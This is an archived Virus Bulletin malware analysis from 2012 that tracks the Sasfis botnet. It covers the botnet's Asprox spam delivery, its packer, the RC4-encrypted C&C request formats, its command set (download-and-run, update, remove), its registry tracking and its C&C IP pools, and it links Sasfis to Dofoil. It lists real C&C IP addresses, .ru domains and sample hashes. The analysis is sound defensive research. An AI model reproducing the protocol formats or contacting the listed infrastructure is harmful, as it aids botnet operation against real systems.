{
	"id": "c7d11046-17b7-4606-bcf7-294874a5d78c",
	"created_at": "2026-04-06T00:11:30.269892Z",
	"updated_at": "2026-04-10T03:21:09.396418Z",
	"deleted_at": null,
	"sha1_hash": "a03b895e6a7d5f216351ede694a60fc4befefd69",
	"title": "Tracking the 2012 Sasfis campaign",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 437577,
	"plain_text": "Tracking the 2012 Sasfis campaign\r\nBy Micky PunFortinet, CanadaEditor: Helen Martin\r\nArchived: 2026-04-05 20:23:39 UTC\r\n2012-11-01\r\nAbstract\r\nMicky Pun unveils all the important nuts and bolts of the latest instalment of the Sasfis botnet by analysing its packers, core\r\npayloads and botnet operations.\r\nCopyright © 2012 Virus Bulletin\r\nResearchers at Fortinet have been tracking the Sasfis malware campaign since a surge of new samples surfaced in late May\r\n2012. By early August, the Sasfis botnet had already undergone five major changes. In this article we will unveil all the\r\nimportant nuts and bolts of the latest instalment of the Sasfis botnet by analysing its packers, core payloads and botnet\r\noperations (including its relationship with the Asprox spambot). We will also discuss its connection with the Dofoil\r\ncampaign, which was highly active until the rise of the new Sasfis botnet.\r\nSample delivery\r\nFrom the samples we have collected since May, it is evident that the Asprox spambot is used by Sasfis as its sole spreading\r\nmechanism. Carrying on its tradition, Asprox initially used the name of a trusted delivery company as the bait to trick users\r\ninto opening an executable email attachment with a document icon. In early August, however, it was observed that the spam\r\nhad been improved by replacing the email content with an image containing the same text. The image (Figure 1) encourages\r\nthe user to click on it – in doing so downloading another malicious executable with a document icon. After executing the\r\nfile, the payload deletes the executable and opens a blank text file in Notepad at the current location to divert the user’s\r\nattention. These changes provide some benefits to Asprox in that the malware sample is no longer attached to the spam\r\n(which previously could easily be blocked by firewalls with up-to-date malware definitions). In addition, storing the\r\nmalware online makes the botnet operation more dynamic and effective; rapid replacement of the sample makes effective\r\nsample collection difficult and hence challenges anti-virus vendors that use checksum-based detection.\r\nFigure 1. New Asprox spam with picture linked to the malicious attachment stored online.\r\nPacker\r\nThe new Sasfis is packed with a custom packer which releases a DLL PE file into memory. While unpacking the malware,\r\nyou will notice that the initial part of the custom packer consists of obfuscating instructions, sometimes combined with anti-debug or anti-virtual-environment techniques that aim to make it difficult for humans or emulators to determine the start of\r\nthe malicious code.\r\nAfter successfully unpacking the custom packer, we find in the allocated memory a payload DLL wrapped in a DLL loader,\r\nwhich in turn is wrapped in a decoder (illustrated in Figure 2).\r\nhttps://www.virusbulletin.com/virusbulletin/2012/11/tracking-2012-sasfis-campaign\r\nPage 1 of 8\n\nFigure 2. The structure of Sasfis samples.\r\nThe injection technique that is used in the DLL loader is rather new and had not been seen until the Dofoil campaign last\r\nyear. (We will discuss the relationship between the 2012 Sasfis campaign and Dofoil later in the article.) It is also worth\r\nmentioning that some of the custom packers used by Sasfis were found to be identical to the packers being used for packing\r\nthe Andromeda botnet client – however, a discussion of Andromeda is outside the scope of this article.\r\nPayload\r\nThe payload of Sasfis acts as a listening client in the botnet operation. It does not have a predefined task and only listens for\r\ncommands that are issued by the C\u0026C server. The traffic that would be accepted by the C\u0026C server is described below:\r\n[C\u0026C server URL]/forum/index.php?r=gate\u0026id=XXXXXXX\u0026group=XXXXX\u0026debug=0\r\nAnd in later versions (appeared on 23 July):\r\n[C\u0026C server URL]/forum/index.php?r=gate\u0026id=XXXXXXX\u0026group=XXXXX\u0026debug=0\u0026ips=XXX\r\nAnd when the host has been infected more than once in the later edition (first appeared on 6 August) the following traffic\r\npattern will appear:\r\n[C\u0026C server URL]/forum/index.php?r=gate/getipslist\u0026id=XXXXXXX\r\nwhere:\r\nid is the volume serial number that can be used as the unique identity of the running machine\r\ngroup is used by the C\u0026C server to identify the running version of the botnet (this will be discussed further in the\r\n‘botnet operation’ section)\r\nips is the local IP of the botnet client (for collecting data on local network topology).\r\nThe first two request formats will allow the client to make contact with the C\u0026C server. The third request format is used for\r\ngetting a new IP list of ‘possible’ C\u0026C servers. In addition, the second and third request formats will be encrypted in the\r\nTCP traffic by RC4 with the volume serial number as a key.\r\nhttp://[IP derived from IP List]:[Port from the IPList]/[RC4 key]index.php?r=gate\u0026id=[Volume serial Number]\r\n\u0026group=[groupID]\u0026debug=0\u0026ips=[local IP]\r\nFor example:\r\nIf the randomly chosen server is determined as 62.75.163.172 with port 84 from the IP list, the following line shows what\r\nthe request looks like before encryption:\r\nhttp://62.75.163.172:84/ac197b68index.php?r=gate\u0026id=ac197b68\u0026group=n1308rcm\u0026debug=0\u0026ips=192.168.153.130\r\nhttps://www.virusbulletin.com/virusbulletin/2012/11/tracking-2012-sasfis-campaign\r\nPage 2 of 8\n\nAfter encrypting the later part with the key using RC4, the hex value of the result will be converted to an ASCII string and\r\nattached to the request expression as indicated below:\r\nhttp://62.75.163.172:84/ac197b68988846E47A0F7C6C39E74966287DD0049B32136C54EA07AE3C6FDDC1E58A1CC6DF1D34128\r\n63B821669AF61F182A561F7C7610AA15965570F6A4CF5AE1CA2EA30169A70FD08FE430D\r\nWhen a request is sent to a C\u0026C server, a few different kinds of responses may be received by the client – see Figure 3.\r\nFigure 3. When a request is sent to a C\u0026C server, a few kinds of responses may be received by the client.\r\nThe traffic captured by Wireshark demonstrates two possible replies from the C\u0026C server (c=run and c=rdl) in response to\r\nthe same request message. Table 1 summarizes all the responses that can be accepted and interpreted by the client.\r\nC\u0026C server\r\ncommand\r\nFormat Parameters\r\nDownload and\r\nrun\r\nc=run\u0026u=%1024s u = URL\r\nRemove C=rem N/A\r\nDownload,\r\ndecrypt and run\r\n(with open to\r\nregister and drop)\r\n[older Version] c=rdl\u0026u=%1024[^\u0026]\u0026a=%x\u0026k=%x\r\n[newer version]\r\nc=rdl\u0026u=%1024[^\u0026]\u0026a=%x\u0026k=%x\u0026n=%1024s\r\nu = URL ,a = autorun flag where a\r\n= 1 means the file will be stored\r\nin the system and autorun will be\r\nset up, k = encryption key, n =\r\nname for the downloaded file\r\nIdle c=idl N/A\r\nRename\r\ndownload at\r\nregistry\r\nc=red\u0026n=%1024s n = name of the downloaded file\r\nUpdate c=upd\u0026u=%1024s\r\nU = URL of the replacement\r\nbotnet client\r\nTable 1. Commands accepted by Sasfis client.\r\nFor better malicious file management on infected hosts, Sasfis has a set of rules to keep track of the downloaded items. For\r\nexample, when a malicious executable such as FakeAV is downloaded through use of the c=rdl command, a registry entry\r\nwill be created related to this downloaded file stored in the file system (Figure 4). The entry will be encrypted with a key\r\neither generated by some API function or simply by a hard-coded constant. When the Sasfis client wants to retrieve\r\ninfomation regarding the downloaded files, it will iterate through the all keys in HKEY_CURRENT_USER/SOFWARE and\r\nXOR the first 16 digits of the registry data (e.g. /0x09/0x18/0x28/0x95/0x5F/0x19/0x2F/0x94/0x58) with its own key (e.g.\r\nVolumeSerialNumber = ‘AC197b68’ and equalivant to ‘/0x68/0x7b/0x97/0xAC’ in hex). The registry entry will be valid if\r\nthe result is equal to the ASCII value of the key itself (‘AC197b68’ which is /0x61/0x63/0x31/0x39/0x37/0x62/0x36/0x38 in\r\nhex). The rest of the registry data after decryption is shown in Figure 5. Following the ASCII value of the key, the next eight\r\nbytes are the key for decrypting the downloaded file stored at %APPDATA% with the filename specified in the last eight\r\nbytes of data. The filename ‘svdll’ in Figure 5 is used for identifying the downloaded object, the server command\r\n‘c=red\u0026%1024s’ allows this name to be modified.\r\nhttps://www.virusbulletin.com/virusbulletin/2012/11/tracking-2012-sasfis-campaign\r\nPage 3 of 8\n\nFigure 4. Registry of a host infected by Sasfis.\r\nFigure 5. Registry data reveals information after decryption (XOR with DWORD key).\r\nAnother encrypted part of the payload is the C\u0026C server address. In the newer versions, when the command ‘getipsList’ is\r\nrequested, an IP list will be downloaded in the following structure:\r\nStruct IP_LIST_ENTRY\r\n{\r\n DWORD C\u0026C_IP\r\n WORD C\u0026C_Port_number\r\n}\r\nStruct IP_LIST\r\n{\r\nNUMBER_OF_ENTRY = list length / 6\r\nIP_LIST_ENTRY[NUMBER_OF_ENTRY]\r\n}\r\nThe IP list is encrypted with RC4 and the client will randomly choose one C\u0026C IP for each request. Rather than the entire IP\r\npool being decrypted and revealed in the dynamic memory, only the chosen C\u0026C IP entry is decrypted using RC4. Figure 6\r\nshows the location of the decryption method in the payload, the ‘default’ IP pool and hard-coded decryption key location.\r\nFigure 7 summarizes the IP pool decryption method.\r\nFigure 6. Location of the IP pool being decrypted.\r\nhttps://www.virusbulletin.com/virusbulletin/2012/11/tracking-2012-sasfis-campaign\r\nPage 4 of 8\n\nFigure 7. IP pool decryption method.\r\n(For a larger version of Figure 7 please click here.)\r\nDownloads\r\nOnce it has registered itself on the C\u0026C server, the Sasfis client will keep polling the server for possible downloads until it\r\nis no longer available. The downloaded files include the Asprox spambot (Dammec), a wide variety of password stealers\r\n(usually identified as Grabberz), and FakeAV. The Asprox spambot will download a template containing email recipients,\r\nthe email content, and the attachment or link to download the attachment. FakeAV is downloaded as a pay-per-install\r\nelement which allows the botnet owner to generate income. The traffic shows that a response will be sent back to another\r\nserver to give notice that FakeAV has been run.\r\nBotnet operation\r\nFigure 8 presents the major changes seen in the Sasfis network since its first discovery. From the timeline, we can see that\r\nSasfis is a growing botnet with increasing functionality and complexity. The groupID is most likely the date when the\r\nsample was produced. Through our study of an active Sasfis botnet, we noticed that the uptime of new C\u0026C servers has\r\ndecreased from an average of one week in May to an average of one to two days in September. This decreasing trend could\r\nbe explained by the fact that the botnet has already been operating for a few months and it might have reached a point when\r\nit has established an optimal number of spambots to keep the botnet growing. In addition, the rapid change of botnet server\r\nindicated that the operator has been shifting focus from infecting more computers to preserving the existing infected hosts.\r\nBy using a pool of malicious IP server addresses to create dynamic traffic, the botnet operator attempts to avoid over\r\nexposure of his malicious IPs (which could lead to being blocked by security products). The ‘get IP list’ command, which is\r\ntriggered by a reinfection condition, reinforces this goal by rapidly exchanging the IP pool.\r\nFigure 8. Timeline of Sasfis development since May 2012.\r\nPerhaps one of the most significant differences between this year’s Sasfis and older versions was its integration with Asprox.\r\nTraditionally, the Asprox spambot was hosted on different IPs separated from the Sasfis botnet. However, in the 2012 Sasfis\r\nsamples (from the beginning of August when the IP list was used to replace the malicious domain list), we observed that the\r\nsame pool of IP addresses was being used by both Asprox C\u0026C servers (for keep-alive messages) and the Sasfis C\u0026C\r\nservers. We indentified identical IPs in the Asprox spam template (Listing 1) and Sasfis samples (Listing 2).\r\nhttps://www.virusbulletin.com/virusbulletin/2012/11/tracking-2012-sasfis-campaign\r\nPage 5 of 8\n\n\u003cs\u003e114.202.247.182:84\r\n173.230.131.168:84\r\n188.138.95.133:84\r\n195.210.47.109:80\r\n203.130.129.58:84\r\n209.20.78.241:84\r\n68.173.180.226:84\r\n72.55.174.23:84\r\n74.208.73.243:84\r\n77.81.225.253:84\r\n86.126.42.121:84\r\n95.131.66.34:84\r\nloftgun01.ru\r\npostbox901.ru\r\nsbolt71.ru\r\nslopokan21.ru\r\nteranian111.ru\u003c/s\u003e\r\nListing 1: Asprox template downloaded from http://24.106.225.182:80 at 2012-09-07 06:32:47 with sample\r\n8cbfaf6f0334b993f0a69b70fcaea6a2.\r\n195.210.47.109:80\r\n72.55.174.23:84\r\n74.208.73.243:84\r\n114.202.247.182:84\r\n209.20.78.241:84\r\n203.130.129.58:84\r\n188.138.95.133:84\r\n77.81.225.253:84\r\n173.230.131.168:84\r\n95.131.66.34:84\r\n79.52.163.227:80\r\nListing 2: Default C\u0026C IP pool decoded from sample 8cbfaf6f0334b993f0a69b70fcaea6a2.\r\nComparing the IPs we acquired from the previous sample with the traffic we collected at around the time when this sample\r\nwas collected (Table 2), it is clear that the pool of IPs we got from Listings 1 and 2 is just a small subset of the IP pools that\r\nare used for the C\u0026C and Asprox server pool as very few identical IPs were observed. This has made tracking down the\r\nentire botnet very difficult because of how the botnet ‘branches out’ and becomes dynamic. The introduction of the IP pool\r\nhas added an element of randomness to the botnet’s growth and creates a nightmare for sample replication.\r\nAccess time IP address Downloaded item\r\n07/09/2012 14:47 http://74.73.102.189:80 Asprox spam template\r\n07/09/2012 14:28 http://71.95.37.67:80 Asprox spam template\r\n07/09/2012 14:01 http://46.7.249.50:80 Asprox spam template\r\n07/09/2012 13:49 http://74.72.186.201:80 Asprox spam template\r\n07/09/2012 13:42 http://24.10.137.97:80 Asprox spam template\r\n07/09/2012 13:03 http://71.95.37.67:80 Asprox spam template\r\n07/09/2012 12:38 http://203.255.53.189:84 Asprox spam template\r\n07/09/2012 12:33 http://24.43.106.9:80 Asprox spam template\r\n07/09/2012 11:15 http://203.255.53.189:84 Asprox spam template\r\n07/09/2012 11:10 http://24.43.106.9:80 Asprox spam template\r\n07/09/2012 10:59 http://79.52.163.227:80 Asprox spam template\r\n07/09/2012 10:32 http://81.88.152.239:80 Asprox backup C\u0026C\r\n07/09/2012 10:23 http://158.181.226.124:80 Asprox backup C\u0026C\r\n07/09/2012 9:49 http://46.7.249.50:80 Asprox spam template\r\nhttps://www.virusbulletin.com/virusbulletin/2012/11/tracking-2012-sasfis-campaign\r\nPage 6 of 8\n\nAccess time IP address Downloaded item\r\n07/09/2012 9:49 http://68.149.67.42:80 Asprox spam template\r\n07/09/2012 9:42 http://158.181.226.124:80 Asprox backup C\u0026C\r\n07/09/2012 9:40 http://98.26.184.1:80 Asprox spam template\r\n07/09/2012 9:01 http://158.181.226.124:80 Asprox backup C\u0026C\r\n07/09/2012 8:21 http://158.181.226.124:80 Asprox backup C\u0026C\r\n07/09/2012 7:47 http://68.149.67.42:80 Asprox spam template\r\n07/09/2012 7:40 http://158.181.226.124:80 Asprox backup C\u0026C\r\n07/09/2012 7:08 http://81.88.152.239:80 Asprox spam template\r\n07/09/2012 6:59 http://158.181.226.124:80 Asprox backup C\u0026C\r\n07/09/2012 6:55 http://74.72.186.201:80 Asprox spam template\r\n07/09/2012 6:32 http://24.106.225.182:80 Asprox spam template\r\nTable 2. Traffic collected since three hours before the Asprox template was downloaded.\r\nRelationship with Dofoil\r\nDuring the process of unpacking Sasfis and its affiliate downloaded item, FakeAV, we discovered that these samples both\r\nuse the word ‘work’ as one of the names of an important export function which contains the malicious routine. Looking back\r\nat the Dofoil samples we collected between last year and the beginning of this year, we also observed that the word ‘work’\r\nwas revealed during the process of unpacking, marking the location of the payload. There is also a striking resemblance\r\nbetween the injection techniques used by Sasfis and Dofoil. The injection technique provides a way to release the malicious\r\ncode to a section and attach it to a suspended legitimate window process. The malicious code will be executed when the\r\nprocess is resumed in the end. Since this technique is not common in other malware, these similarities strongly suggest that\r\nSasfis and Dofoil are the work of the same group of authors. Our suspicions were further confirmed by the traffic record we\r\nhave collected. The history (Table 3) in our system provides evidence that the Dofoil campaign left the cybercrime scene in\r\nearly May, and the Sasfis campaign stepped in half a month later with the same server (same IP) under a new hostname.\r\nFrom C\u0026C server\r\nEntry\r\ndate\r\nRequest content Reply content\r\nbeaufortseaa139.ru/\r\n213.152.180.178\r\n2012-\r\n05-10\r\nGET /aaa/index.php?\r\nwFoAAACjraT9p6W0rK+hpOasr6eprv3y9/KC8ob5+fP2hPOGhvPw+YPz8PDx8YKG\r\n(*after decryption it will be revealed as /aaa/index.php?cmd=\r\nload\u0026xxxxxxxxxxxxxxxxxxxxxxxxxx)\r\n302 FOUND http://xxxxxx\r\nkrasguatanany.ru/\r\n213.152.180.178\r\n2012-\r\n05-31\r\nGET /gley/index.php?r=gate\u0026id=xxxxxxxx\u0026group=30.05.2012\u0026debug=0 c=rdl\u0026u=http://krasguatana\r\nTable 3. Botnet information collected by our system.\r\nThere is also an interesting observation about these two botnets. Though their request parameters resonate with one another,\r\nthe two are actually at opposite ends of the botnet category, that is, Dofoil has a predefined ‘task’ that is hard-coded in the\r\nclient, while Sasfis relies on commands from the C\u0026C server to perform tasks.\r\nConclusion\r\nWe have concluded that there is a strong relationship between Sasfis and Dofoil. Through our comparison, it is apparent that\r\nthe new Sasfis has many major improvements when compared to its older counterpart. As of today, the Sasfis 2012\r\ncampaign remains active because of its strong custom packer and we would probably expect more ‘features’ to become\r\navailable in the near future.\r\nhttps://www.virusbulletin.com/virusbulletin/2012/11/tracking-2012-sasfis-campaign\r\nPage 7 of 8\n\nSource: https://www.virusbulletin.com/virusbulletin/2012/11/tracking-2012-sasfis-campaign\r\nhttps://www.virusbulletin.com/virusbulletin/2012/11/tracking-2012-sasfis-campaign\r\nPage 8 of 8",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia",
		"ETDA"
	],
	"references": [
		"https://www.virusbulletin.com/virusbulletin/2012/11/tracking-2012-sasfis-campaign"
	],
	"report_names": [
		"tracking-2012-sasfis-campaign"
	],
	"threat_actors": [],
	"ts_created_at": 1775434290,
	"ts_updated_at": 1775791269,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/a03b895e6a7d5f216351ede694a60fc4befefd69.pdf",
		"text": "https://archive.orkl.eu/a03b895e6a7d5f216351ede694a60fc4befefd69.txt",
		"img": "https://archive.orkl.eu/a03b895e6a7d5f216351ede694a60fc4befefd69.jpg"
	}
}